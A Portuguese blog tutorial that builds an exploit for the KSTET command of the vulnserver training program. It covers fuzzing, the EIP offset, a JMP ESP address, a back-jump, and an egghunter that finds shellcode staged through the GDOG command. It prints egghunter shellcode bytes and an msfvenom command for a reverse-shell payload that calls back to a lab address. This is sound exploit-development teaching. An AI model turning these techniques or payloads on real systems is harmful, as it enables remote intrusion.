Criação de Exploits – Parte 3 – Estudo de caso: vulnserver KSTET com egghunter

Ola pessoal,

Neste post vamos dar inicio a nossa análise de caso do Vulnserver KSTET. Como característica este servidor é vulnerável a stack buffer overflow mas com um buffer extremamente pequeno, 66 bytes. Sendo assim neste post abordaremos a utilização da técnica de egghunter, que basicamente consiste em encontrar e executar nosso shellcode (egg) em outra área de memória.

O Exploit

0x01 – Fuzzing

Antes de mais nada precisamos encontrar a nossa vulnerabilidade. Para isso vamos realizar um processo de fuzzing em cima do vulnserver.

Antes de iniciar o fuzzing, vamos conhecer um pouco mais da aplicação. Ao conectar na aplicação ela nos mostra uma mensagem de boas vindas e sugerindo a execução do comando HELP.

# nc 172.30.200.66 9999
Welcome to Vulnerable Server! Enter HELP for help.

Ao executar o comando HELP a aplicação nos retorna os comandos disponíveis

# nc 172.30.200.66 9999
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

Enquanto isso em sua console principal a aplicação mostra que ocorreu uma conexão

Para o processo de fuzzing vamos utilizar a aplicação spike, como sempre ao conectar no servidor ele retorna essa mensagem de boas vindas temos que informar para o spike ler essa mensagem antes de enviar os comandos desejados.

Usando este arquivo do spike (demonstrado acima) iremos realizar o fuzzing na porção kstet_value do comando depois de ler a mensagem de boas vindas. Anexe o vulnserver no Immunity Debugger e execute o comando abaixo:

root@M4v3r1cK:~/vulnserver/exploit1_egghunter# generic_send_tcp 172.30.200.66 9999 01-fuzz.spk 0 0
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
line read=Welcome to Vulnerable Server! Enter HELP for help.
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
^C

Logo na primeira interação (demonstrada abaixo) o vulnserver travou em nosso debug.

Fuzzing Variable 0:1
Variablesize= 5004

Observe a saída do spike (demonstrada acima), ela nos diz que fou realizado o fuzzing na primeira variável (como os computadores iniciam em zero, nossa primeira variável é referenciada como 0). No outro lado dos dois pontos, podemos ver que temos a segunda interação do fuzzing representada pelo 1. Na outra linha o spike nos mostrou o tamanho do buffer que ele enviou, neste caso 5004 bytes. Agora podemos ver como isso ficou no Immunity Debugger:

Pode-se observar que o spike enviou a requisição conforme abaixo:

KSTET /.:/AAAAAAAAA........

Provavelmente 5000 A com o prefixo /.:/

Vamos duplicar este exploit em python criando então uma prova de conceito (PoC)

 

0x02 – Exploit de PoC

Daqui para frente utilizaremos scripts Python para realizar todo nosso processo. Como ja sabemos nosso Overflow ocorreu com 5000 bytes + 4 caracteres /.:/ então vamos reproduzir isso:

Executando nosso PoC temos a seguinte saída:

root@M4v3r1cK:~/vulnserver/exploit1_egghunter# ./02-poc.py
[*] Enviando requisicao maliciosa ...

E o crash ocorreu:

Agora que temos uma prova de conceito funcional, vamos aprofundar e determinar o tipo de overflow (se é uma substituição simples do EIP, SEH e etc…) e em que offset isso ocorre.

0x03 – Determinando o tipo de Exploit e o Offset de controle

Olhando na imagem (do immunity Debugger) podemos observar que o registrador EIP foi substituido por:

41414141

Se você está lendo nossos posts de forma sequencial ou ja realizou uma outra exploração de Buffer Overflow sabe que A (maiúsculo) corresponde ao hexa 41. Bom! agora sabemos que temos um stacked buffer overflow de simples substituição do EIP, ou também conhecido como vanilla EIP overwrite. Agora precisamos saber em que ponto do nosso 5000 bytes está ocorrendo a substiruição do EIP. Vamos usar uma ferramenta da metasploit para gerar um buffer único e depois identificar em quem ponsto a substituição ocorreu.

Gerando o buffer único:

root@M4v3r1cK:~/vulnserver/exploit1_egghunter# msf-pattern_create -l 5000

Agora basta copiar e colar este buffer em nosso arquivo python conforme demonstrado abaixo:

Execute este script e veja como ficou o registrador EIP:

Agora basta usar o comando msf-pattern_offset com o valor de EIP para identificar a posição exata do buffer:

root@M4v3r1cK:~/vulnserver/exploit1_egghunter# msf-pattern_offset -l 5000 -q 41326341
[*] Exact match at offset 66

Isso indica que o EIP inicia no offset 66, ou seja, na posição 66, em outras palavras, temos 66 bytes de caracteres antes do EIP + 4 bytes do EIP e depois o restante do buffer. Vamos atualizar nosso exploit e verificar se temos o offset correto.

0x04 – Verificando o Offset

Vamos atualizar nosso exploit PoC com o tamanho do Offset conforme abaixo:

E executamos ele obtendo o resultado abaixo:

Isso indica que temos um exploit funcional que substituiu o EIP pelos nossos Bs, hexa 0x42, e que o ESP está apontado para o ponto exatamente posterior ao EIP, onde estão nossos Cs.

Porém olhando um pouco mais a fundo em nossa pilha de memória podemos ver que temos um numero limitado de Cs mesmo tendo enviado 500, este número é exatamente 20 bytes que pode ser calculado de 2 formas diferentes:

  1. Contando: Cada linha tem 4 bytes e no stack temos 5 linhas, então 4*5 = 20 bytes
  2. Calculando: endereço inicial do stack 00FEF9F8, o primeiro caractere depois dos C está localizado em 00FEFA0C, então 00FEFA0C – 00FEF9F8 = 20 bytes

Mas e dai que só tem 20 bytes? Isso indica que só teremos estes 20 bytes + os 66 bytes (antes do EIP) para realizar todo nosso processo de exploração, e um shellcode pequeno gerado pelo msfvenom tem pelo menos 354 bytes. Então teremos que ser criativos.

Nota importante: Cuidado com os próximos passos para não continuar usando o buffer maior que 20 bytes após o endereço do EIP, pois isso causará problemas futuros.

0x05 – Saltando para nosso Buffer

O próximo passo em nosso processo de exploração será saltar para os nossos Cs, para isso precisaremos localizar um endereço de memória (sem o nullbyte 0x00) que faça o JMP ESP ou CALL ESP, podemos usar o script Mona para nos ajudar nessa tarefa. Note que vou utlizar o -n para ignorar os endereços iniciados por null byte.

!mona jmp -n -r ESP

Este comando nos retornou 9 opções

Porém a nossa escolha foi a primeira:

Log data, item 11
 Address=625011AF
 Message=  0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (essfunc.dll)

Por hora não conhecemos nenhum badchar, a não ser os classisos para um servidor baseado em comandos ASCII (0x00 – null byte, 0x0d – ‘\r’, 0x0a – ‘\n’). Adicionamente este endereço não tem outras proteções como SafeSEH e ASLR e é uma DLL do proprio sistema, o que facilita as coisas pois não corre-se o risco do endereço se alterar com a mudança de sistema operacional.

Então vamos atualizar nosso exploit para realizar esse JMP ESP. Nele utilizaremos uma função chamada pack da biblioteca struct para alterar o endereço entre big endian e little endian.

Segue nosso exploit atualizado:

Antes de rodar nosso exploit novamente, no Immunity Debbuger clique no botão Goto address in Dissassembler demonstrado abaixo:

E digite o endereço da instrução JMP ESP escolhida:

Se certifique que está no endereço correto pois algumas vezes é necessário fazer este processo mais de uma vez para alcançar o endereço correto. Uma vez no endereço correto pressionne F2 para adicionar um breakpoint.

Agora execute o exploit e veja a aplicação parando no breakpoint selecionado

Observe que essa parada foi devido ao breakpoint, sabemos isso por causa do texto na barra de status “Breakpoint at essfunc.625011AF” e não outro erro como access violation.

Para dar continuidade pressione F7 (Step Into) para permitir o JMP para o endereço do ESP que por sua vez é a localização dos nossos Cs

0x06 – Saltando para o buffer maior

Até este ponto conseguimos saltar para o nosso ESP que é um buffer com 20 bytes, que não da p/ fazer quase nada, mas é mais que suficiente para que possamos fazer um salto para traz indo para nossos As que é um buffer um pouco maior (66 bytes)

Mas como fazemos isso? Há diversas formas, vamos explorar uma delas aqui, mas para isso precisamos saber onde estamos.

Olhando na imagem anterior vemos o seguinte cenário:

00EDF9F8   43               INC EBX

Estamos no endereço de memória 00EDF9F8. Mas onde está o início dos nossos As?

00EDF9B2   41               INC ECX

Então podemos fazer alguns cálculos para realizar a movimentação necessária

00EDF9F8 (Localização atual) - 00EDF9B2 (Posição desejada) = Valor em Hexa: 46 ou Valor em Decimal: 70

Para realizar os calculos do ESP de forma segura vamos colocar seu valor em EDX:

PUSH ESP
POP EDX

E posteriormente subtrair 0x46 (decimal 70) de seu valor:

SUB EDX,0x46

E por fim saltar para o endereço desejado:

JMP EDX

Caso não esteja familiarizado o mestasploit tem uma ferramenta para nos ajudar neste processo de criação dos OPCODES chamada msf-nasm_shell conforme demonstrado abaixo:

root@M4v3r1cK:~# msf-nasm_shell
nasm > PUSH ESP
00000000  54                push esp
nasm > SUB EDX,0x46
00000000  83EA46            sub edx,byte +0x46
nasm > JMP EDX
00000000  FFE2              jmp edx
nasm >

Segue abaixo o exploit atualizado:

Este é um dos métodos de realizar este processo, e o escolhido por mim neste exploit, porém há métodos mais econômicos do ponto de vista de consumo de espaço uma vez que temos somente 20 bytes. Como por exemplo o JUMP para 72 bytes para traz (70 bytes desejados + 2 consumido pela da instrução de JMP)

root@M4v3r1cK:~# msf-nasm_shell
nasm > JMP short -72
00000000  EBB6              jmp short 0xffffffb8
nasm >

Segue abaixo a segunda opção:
Note que como neste nosso exploit nesse primeiro estágio só precisamos realizar o salto para nosso segundo estágio (nossos As) não faz diferença no método utilizado, mas caso precisasse realizar outras operações nestes restritos 20 bytes essa segunda opção certamente seria a melhor opção.

Reiniciando o Immunity, redefinindo nosso breakpoint no commando JMP ESP e então pressionando F7 quando a execução parar no breakpoint chegaremos ao resultado abaixo:

Neste ponto temos pelo menos 2 formar de continuar com o exploit:

  1. Verificando a possibilidade de enviar o shellcode através de outro comando do servidor e buscando essa área de memória com egghunter
  2. Reutilizando a função WS2_32.recv (que foi a função utilizada para ler nosso buffer inicial) para ler da nossa própria conexão um novo buffer (shellcode) e posteriormente executa-lo. Este processo está descrito no post Criação de Exploits – Parte 4 – Estudo de caso: vulnserver KSTET com reaproveitamento da função WS2_32 Recv

Neste post abordaremos a opção 1: utilização de egghunter.

0x07 – PoC2 Localizando o Shellcode

Antes de dar continuidade ao processo de exploit primeiramente precisamos entender se será possível enviar o nosso shellcode através de outro comando para o servidor. Após diversos testes encontrei a função GDOG do servidor que permite o envio de pelo menos 1000 bytes, mais que suficiente para a colocação do nosso shellcode.

Para facilitar nosso teste no lugar doa 66 As vou colocar 66 0xCC (breakpoint), para que a aplicação pare a execução nele e possamos analisar a memória. Adicionalmente foi colocado no script um envio do nosso pseudo shellcode antes no buffer que irá causar o overflow, conforme exemplificado abaixo:

shellcode  = b"GDOG "
shellcode += "T00WT00W"
shellcode += "C" * 1000

print "[*] Enviando shellcode..."

exp.recv(4096)
exp.send(shellcode)

print "[*] Enviando exploit..."
exp.recv(4096)
exp.send(buffer)

Execute o exploit:

Note que como esperado a aplicação parou no breakpoint 0xCC:

Com a ajuda do script mona podemos verificar se foi encontrado na memória

!mona find -s T00WT00W

 


Bom! Se o mona foi capaz de achar um egghunter escrito por nós também será.

0x08 – Egghunter

Egghunter é uma técnica utilizada onde temos um código relativamente pequeno +- 45 bytes que tem sua principal função buscar na memória um ‘egg’ que é na verdade nosso shellcode. É muito comum neste tipo de estudo você ver o termo T00W ou W00T, ele é uma regra? Não, ele é o que geralmente usamos para fins acadêmicos, mas pode ser qualquer sequencia de 4 bytes que será utilizada para identificar o inicio do nosso shellcode.

O Egghunter proposto neste post executa se forma simplificada o seguinte fluxo:

  1. Define o endereço de memória inicial da busca e salta para o passo 4;
  2. Incrementa 4Kb ao endereço de memória atual e segue para o passo 4;
  3. Incrementa 1 byte ao endereço de memória atual;
  4. Verifica se tem acesso ao endereço de memória; Se sim salta para o passo 5; caso não salta para o passo 2;
  5. Verifica se no endereço atual existe 1 instância do nosso EGG (W00T); Se existe continua a execução para o passo 6; caso contrário salta para o passo 3;
  6. Verifica se nos próximos 4 bytes existe mais 1 instância do nosso EGG (W00T); Se sim faz um JMP para o byte seguinte do WOOTWOOT; caso não salta para o passo 3;

Então vamos o nosso egghunter

Para compilar ele e pegar o seu opcode para colocar em nosso python execute os comandos abaixo:

nasm egghunter1.asm -o egghunter -l egghunter.lst
cat egghunter | msfvenom -p - -a x86 --platform win -e generic/none -f python

Tendo o seguinte resultado

Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 36 (iteration=0)
generic/none chosen with final size 36
Payload size: 36 bytes
Final size of python file: 184 bytes
buf =  ""
buf += "\x89\xca\xeb\x06\x66\x81\xca\xff\x0f\x42\x52\x6a\x02"
buf += "\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57"
buf += "\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Basta agora copiar este código para nosso exploit. Para facilitar nosso estudo fiz uma alteração no exploit adicionando um breakpoint antes da chamada JMP EDI ficando como abaixo:

Ao executar o nosso exploit ele irá parar na chamada no JMP EDI para que possamos verificar como estão nossos registradores, conforme imagem abaixo:

Pode-se observar que o EDI aponta para o endereço de memória

0x0027437D

Que per sua vez é o endereço exatamente posterior ao endereço do W00TW00T, você deve ter percebido que na memória o W00TW00T aparece como T00WT00W, isso ocorre em virtude do endianess.

0x09 – Aproveite o shell

Agora basta alterar os Cs para o shellcode gerado pelo msfvenom e aproveitar.

Gere o shellcode com o comando abaixo, nele coloquei como badchars os clássicos nullbyte, \r e \n.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.15.177 lport=4444 -a x86 --platform win -e x86/alpha_mixed -b "\x00\x0a\x0d" -f python

Copie o conteúdo do buffer no exploit conforme arquivo abaixo e senha feliz!

 

Helvio Junior (OSCE, OSCP, CEHv9)

Helvio Junior (OSCE, OSCP, CEHv9)

Consultor em Cyber Security em Ernst & Young (EY)
OSCE, OSCP, CEHv9, Pesquisador de Falhas de Segurança e Vulnerabilidades. Profissional com mais de 20 anos de experiência na área de TI, atualmente focado na área de segurança da informação ofensiva (Red Team), bug hunting, cyber threat hunting, criação e engenharia reversa de Malware.
Carreira baseada em sólidos conhecimentos técnicos nas principais tecnologias de TI: Penetration Testing, Clould Computing, Ambiente de alta criticidade e alta disponibilidade, Windows Servers e seus serviços, Linux Servers e seus serviços, VoIP com Asterisk, Redes, Cisco, HP, ISO 27002, Hacker ético (CEHv9) e Engenharia reversa.
Helvio Junior (OSCE, OSCP, CEHv9)
0 respostas

Deixe uma resposta

Want to join the discussion?
Feel free to contribute!

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *